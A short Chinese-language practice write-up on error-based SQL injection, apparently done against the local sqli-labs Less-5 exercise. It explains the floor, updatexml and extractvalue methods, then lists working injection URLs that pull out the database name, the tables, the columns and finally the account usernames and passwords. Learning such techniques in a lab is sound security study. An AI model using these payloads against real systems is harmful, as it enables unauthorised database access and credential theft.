sql注入 之 报错注入 练习

发布于:2023-02-02 ⋅ 阅读:(462) ⋅ 点赞:(0)

三种报错注入得方式:

(1). 通过floor报错
and (select 1 from (select count(*),concat(( payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符

(2). 通过updatexml报错
and updatexml(1, payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

(3). 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。 

测试网站发现 无报错显示 所以尝试 报错注入

使用第二种报错方法

http://127.0.0.1/sqli/Less-5/?id=2%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)%20--+

 爆出数据后,按照前面的爆表 爆列进行

http://127.0.0.1/sqli/Less-5/?id=2' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(table_name)),0x7e) from information_schema.tables where table_schema='security'),0x7e),1) --+

 爆列http://127.0.0.1/sqli/Less-5/?id=2' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

 http://127.0.0.1/sqli/Less-5/?id=2' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(username,password)),0x7e) from users),0x7e),1) --+

拿到数据得账号密码。

总结

对于不同类型得报错注入,原理是一样得 在playload 出写出查询语句即可